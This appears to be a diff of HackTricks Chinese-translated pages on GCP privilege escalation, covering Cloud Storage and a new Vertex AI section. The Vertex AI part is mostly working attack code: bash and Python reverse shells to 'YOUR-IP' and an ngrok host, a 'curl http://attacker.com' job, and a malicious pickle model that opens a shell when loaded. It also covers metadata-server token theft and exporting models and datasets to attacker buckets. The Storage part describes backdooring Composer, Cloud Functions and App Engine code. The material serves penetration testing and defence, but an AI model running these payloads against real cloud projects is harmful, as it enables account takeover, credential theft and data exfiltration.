您还可以配置一个不同的 pub/sub 主题,甚至完全禁用它:
|
||||
你也可以配置不同的 pub/sub topic,或者将其完全禁用:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - 存储权限提升
|
||||
# GCP - Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,18 @@
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
此权限允许您**下载存储在 Cloud Storage 中的文件**。这可能会让您提升权限,因为在某些情况下**敏感信息会保存在那里**。此外,一些 GCP 服务将其信息存储在桶中:
|
||||
该权限允许你**下载保存在 Cloud Storage 中的文件**。这可能让你提升权限,因为在某些情况下**敏感信息就保存在那里**。此外,一些 GCP 服务会将其信息存放在 buckets 中:
|
||||
|
||||
- **GCP Composer**:当您创建一个 Composer 环境时,**所有 DAG 的代码**将保存在一个**桶**中。这些任务的代码中可能包含有趣的信息。
|
||||
- **GCR (容器注册表)**:容器的**镜像**存储在**桶**中,这意味着如果您可以读取这些桶,您将能够下载镜像并**搜索泄漏和/或源代码**。
|
||||
- **GCP Composer**:当你创建一个 Composer Environment 时,所有 DAGs 的**代码**会被保存到一个 **bucket** 中。这些任务的代码中可能包含有价值的信息。
|
||||
- **GCR (Container Registry)**:容器的**镜像**存储在 **buckets** 中,这意味着如果你能读取这些 buckets,就可以下载镜像并**搜索 leaks 和/或 源代码**。
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
您可以授予自己权限以**滥用本节中任何先前的场景**。
|
||||
该权限可以让你**滥用本节之前列出的任何情形**。
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
有关如何使用此权限修改权限的示例,请查看此页面:
|
||||
关于如何使用该权限修改权限的示例,请查看此页面:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage 的“互操作性”功能,旨在实现与 AWS S3 等的**跨云交互**,涉及为**服务账户和用户创建 HMAC 密钥**。攻击者可以通过**为具有提升权限的服务账户生成 HMAC 密钥**来利用这一点,从而**在 Cloud Storage 中提升权限**。虽然与用户相关的 HMAC 密钥只能通过网络控制台检索,但访问密钥和秘密密钥始终保持**可访问**,允许潜在的备份访问存储。相反,与服务账户关联的 HMAC 密钥可以通过 API 访问,但其访问密钥和秘密密钥在创建后无法检索,增加了持续访问的复杂性。
|
||||
Cloud Storage 的 “interoperability” 功能用于像 AWS S3 这样的**跨云交互**,涉及为 Service Accounts 和用户**创建 HMAC keys**。攻击者可以通过**为具有提升权限的 Service Account 生成 HMAC key**来滥用此功能,从而**在 Cloud Storage 中提升权限**。用户关联的 HMAC keys 只能通过 web 控制台检索,但 access 和 secret keys 在检索后仍然**持续可用**,可用于备份或持久访问。相反,关联到 Service Account 的 HMAC keys 可通过 API 使用,但其 access 和 secret keys 在创建后无法再次检索,这使得维持持续访问变得更复杂。
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
另一个针对该方法的利用脚本可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) 找到。
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = 存储写入权限
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
为了在存储桶中**创建新对象**,您需要 `storage.objects.create`,并且根据 [文档](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions),您还需要 `storage.objects.delete` 来**修改**现有对象。
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
在可以在云中写入的存储桶中,**常见的利用**是当**存储桶保存网页服务器文件**时,您可能能够**存储新代码**,该代码将被网页应用程序使用。
|
||||
为了在 bucket 内**创建新对象**,你需要 `storage.objects.create`,并且根据[文档](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions),要**修改**已有对象还需要 `storage.objects.delete`。
|
||||
|
||||
在可以写入云存储的 bucket 中,一种非常**常见的利用方式**是当这个**bucket 存放着 web 服务器文件**时,攻击者可能能**存放新的代码**,被 web 应用使用。
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** 是在 GCP 中管理的 **Apache Airflow**。它有几个有趣的特性:
|
||||
**Composer** 是在 GCP 内托管的 **Apache Airflow**。它有几个值得注意的特性:
|
||||
|
||||
- 它运行在 **GKE 集群** 中,因此 **集群使用的 SA 是可通过在 Composer 中运行的代码访问的**
|
||||
- Composer 环境的所有组件(**DAG 的代码**、插件和数据)都存储在 GCP 存储桶中。如果攻击者对其具有读写权限,他可以监控存储桶,并且**每当创建或更新 DAG 时,提交一个后门版本**,这样 Composer 环境就会从存储中获取后门版本。
|
||||
- 它运行在 **GKE cluster** 内,所以集群使用的 **SA 对代码是可访问的**,运行在 Composer 内的代码可以访问该 SA。
|
||||
- composer environment 的所有组件(**DAGs 的代码**、plugins 和数据)都存储在一个 GCP bucket 里。如果攻击者对其有读写权限,就可以监控该 bucket,**每当某个 DAG 被创建或更新时,提交一个带后门的版本**,使 composer environment 从 storage 获取到带后门的版本。
|
||||
|
||||
**您可以在该仓库中找到此攻击的 PoC:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions 代码存储在 Storage 中,每当创建新版本时,代码会推送到存储桶,然后从该代码构建新容器。因此,**在新版本构建之前覆盖代码可以使云函数执行任意代码**。
|
||||
- Cloud Functions 的代码存储在 Storage 中,每当创建新版本时,代码会被推送到 bucket,然后从这些代码构建新的容器。因此,**在新版本构建之前覆盖代码可以让 cloud function 执行任意代码**。
|
||||
|
||||
**您可以在该仓库中找到此攻击的 PoC:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine 版本在存储桶中生成一些数据,格式为:`staging.<project-id>.appspot.com`。在此存储桶中,可以找到一个名为 `ae` 的文件夹,该文件夹将包含每个 AppEngine 应用程序版本的文件夹,在这些文件夹中可以找到 `manifest.json` 文件。该文件包含一个 json,列出了必须用于创建特定版本的所有文件。此外,可以找到**文件的真实名称、它们在 GCP 存储桶中的 URL(存储桶中的文件更改了名称以其 sha1 哈希)和每个文件的 sha1 哈希。**
|
||||
AppEngine 的版本会在名为 `staging.<project-id>.appspot.com` 的 bucket 中生成一些数据。该 bucket 内通常有一个名为 `ae` 的文件夹,里面会按 AppEngine 应用的每个版本各有一个文件夹,在这些文件夹中可以找到 `manifest.json` 文件。该文件包含一个 json,列出创建特定版本必须使用的所有文件。此外,还可以找到**文件的真实名称、它们在 GCP bucket 中的 URL(bucket 内文件会以其 sha1 hash 改名)以及每个文件的 sha1 hash。**
|
||||
|
||||
_请注意,由于 GCP 用户没有权限使用域名 appspot.com 生成存储桶,因此无法预先接管此存储桶。_
|
||||
_注意:无法事先 takeover 该 bucket,因为 GCP 用户无权使用 appspot.com 域名创建 bucket。_
|
||||
|
||||
然而,拥有对该存储桶的读写访问权限,可以通过监控存储桶并在每次进行更改(新版本)时尽快修改新版本,从而提升与 App Engine 版本关联的 SA 的权限。这样,从该代码创建的容器将执行后门代码。
|
||||
但是,若对该 bucket 具有读写权限,可以通过监控 bucket 在有变更(新版本)发生时尽快修改新版本,从而提升到附加在 App Engine 版本上的 SA 权限。这样由这些代码创建的容器就会执行带后门的代码。
|
||||
|
||||
提到的攻击可以通过多种不同方式执行,所有这些方式都从监控 `staging.<project-id>.appspot.com` 存储桶开始:
|
||||
上述攻击可以通过多种方式实现,所有方法都从监控 `staging.<project-id>.appspot.com` bucket 开始:
|
||||
|
||||
- 将 AppEngine 版本的完整新代码上传到不同且可用的存储桶,并准备一个**`manifest.json` 文件,包含新存储桶名称和它们的 sha1 哈希**。然后,当在存储桶中创建新版本时,您只需修改 `manifest.json` 文件并上传恶意文件。
|
||||
- 上传一个修改过的 `requirements.txt` 版本,该版本将使用**恶意依赖代码并更新 `manifest.json`** 文件,包含新文件名、URL 和哈希。
|
||||
- 上传一个**修改过的 `main.py` 或 `app.yaml` 文件,该文件将执行恶意代码**并更新 `manifest.json` 文件,包含新文件名、URL 和哈希。
|
||||
- 将完整的新 AppEngine 版本代码上传到另一个可用的 bucket,并准备一个带有新 bucket 名称和文件 sha1 hashes 的 **`manifest.json`**。然后,当原 bucket 中创建新版本时,只需修改 `manifest.json` 并上传恶意版本即可。
|
||||
- 上传一个被修改的 `requirements.txt`,使其使用恶意依赖代码并更新 `manifest.json`,包括新文件名、URL 以及其 hash。
|
||||
- 上传被修改的 `main.py` 或 `app.yaml`,使其执行恶意代码,并更新 `manifest.json`,包括新文件名、URL 以及其 hash。
|
||||
|
||||
**您可以在该仓库中找到此攻击的 PoC:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** 将图像存储在存储桶中,如果您可以**写入这些存储桶**,您可能能够**横向移动到这些存储桶运行的位置。**
|
||||
- GCR 使用的存储桶将具有类似于 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` 的 URL(顶级子域在 [这里](https://cloud.google.com/container-registry/docs/pushing-and-pulling) 指定)。
|
||||
- **Google Container Registry** 将镜像存储在 buckets 中,如果你能**写入这些 buckets**,可能能够**横向移动到那些运行这些镜像的地方**。
|
||||
- GCR 使用的 bucket URL 类似于 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`(顶级子域在[此处](https://cloud.google.com/container-registry/docs/pushing-and-pulling)有说明)。
|
||||
|
||||
> [!TIP]
|
||||
> 此服务已被弃用,因此此攻击不再有效。此外,替代此服务的 Artifact Registry 不会将图像存储在存储桶中。
|
||||
> 该服务已被弃用,因此此类攻击现在不再有用。此外,作为替代的 Artifact Registry 并不将镜像存储在 buckets 中。
|
||||
|
||||
## **参考文献**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,719 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
有关 Vertex AI 的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
拥有 `aiplatform.customJobs.create` 权限并对目标 service account 具有 `iam.serviceAccounts.actAs` 时,攻击者可以 **以提升的权限执行任意代码**。
|
||||
|
||||
这是通过创建一个 custom training job 来实现的,该 job 运行攻击者控制的代码(可以是自定义容器或 Python 包)。通过使用 `--service-account` 标志指定一个有特权的 service account,job 将继承该 service account 的权限。该 job 在 Google 托管的基础设施上运行,可以访问 GCP metadata service,从而能够提取该 service account 的 OAuth access token。
|
||||
|
||||
**Impact**:Full privilege escalation 到目标 service account 的权限。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建带 reverse shell 的 custom job</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>替代:从日志中提取 token</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 自定义 job 将以指定服务账户的权限运行。确保你在目标服务账户上拥有 `iam.serviceAccounts.actAs` 权限。
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
此技术通过向 Vertex AI 上传模型实现权限提升,然后通过部署 endpoint 或批量预测作业利用该模型以提升的权限执行代码。
|
||||
|
||||
> [!NOTE]
|
||||
> 执行此攻击需要一个对所有人可读的 GCS 存储桶,或创建一个新的存储桶来上传模型工件。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>上传模型并包含 container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> 在上传恶意模型后,攻击者可以等待有人使用该模型,或者通过将模型部署到 endpoint 或通过批量预测作业自行启动该模型。
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
如果你有权限将模型创建并部署到 endpoint,或修改 endpoint 的 IAM 策略,你可以利用项目中已上传的恶意模型来实现权限提升。要通过 endpoint 触发先前上传的恶意模型,你所需要做的只是:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将恶意模型部署到 endpoint</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
如果你有权限创建一个 **batch prediction jobs** 并用服务账户运行它,你就可以访问 metadata service。恶意代码会在批量预测过程中从 **custom prediction container** 或 **malicious model** 中执行。
|
||||
|
||||
**Note**: Batch prediction jobs 只能通过 REST API 或 Python SDK 创建(不支持 gcloud CLI)。
|
||||
|
||||
> [!NOTE]
|
||||
> 该攻击需要先上传一个恶意模型(参见上文的 `aiplatform.models.upload` 部分)或使用包含 reverse shell code 的 custom prediction container。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用恶意模型创建 batch prediction job</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
如果你拥有 **models.export** 权限,你可以将模型工件导出到你控制的 GCS 存储桶,可能会访问到敏感的训练数据或模型文件。
|
||||
|
||||
> [!NOTE]
|
||||
> 要执行此 attack,需要有一个对所有人可读可写的 GCS 存储桶,或者创建一个新的存储桶来上传模型工件。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将模型工件导出到 GCS 存储桶</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
创建 **ML pipeline jobs**,这些作业使用任意容器执行多个步骤,并通过 reverse shell 实现 privilege escalation。
|
||||
|
||||
Pipelines 在进行 privilege escalation 时尤其强大,因为它们支持 multi-stage attacks,各组件可以使用不同的 containers 和配置。
|
||||
|
||||
> [!NOTE]
|
||||
> 你需要一个允许任何人写入的 GCS bucket 作为 pipeline root。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建带有 reverse shell container 的 pipeline job</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
创建可以通过自定义训练容器以提升权限执行任意代码的 **hyperparameter tuning jobs**。
|
||||
|
||||
Hyperparameter tuning jobs 允许你并行运行多个训练试验,每个试验使用不同的超参数值。通过指定包含 reverse shell 或 exfiltration 命令的恶意容器,并将其与具有高权限的 service account 关联,可以实现权限提升。
|
||||
|
||||
**影响**:对目标 service account 的权限进行完全权限提升(获得其全部权限)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建带 reverse shell 的 hyperparameter tuning job</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
导出 **datasets** 以 exfiltrate 可能包含敏感信息的训练数据。
|
||||
|
||||
**注意**:Dataset 操作需要 REST API 或 Python SDK(datasets 不支持 gcloud CLI)。
|
||||
|
||||
Datasets 通常包含原始训练数据,可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。
|
||||
|
||||
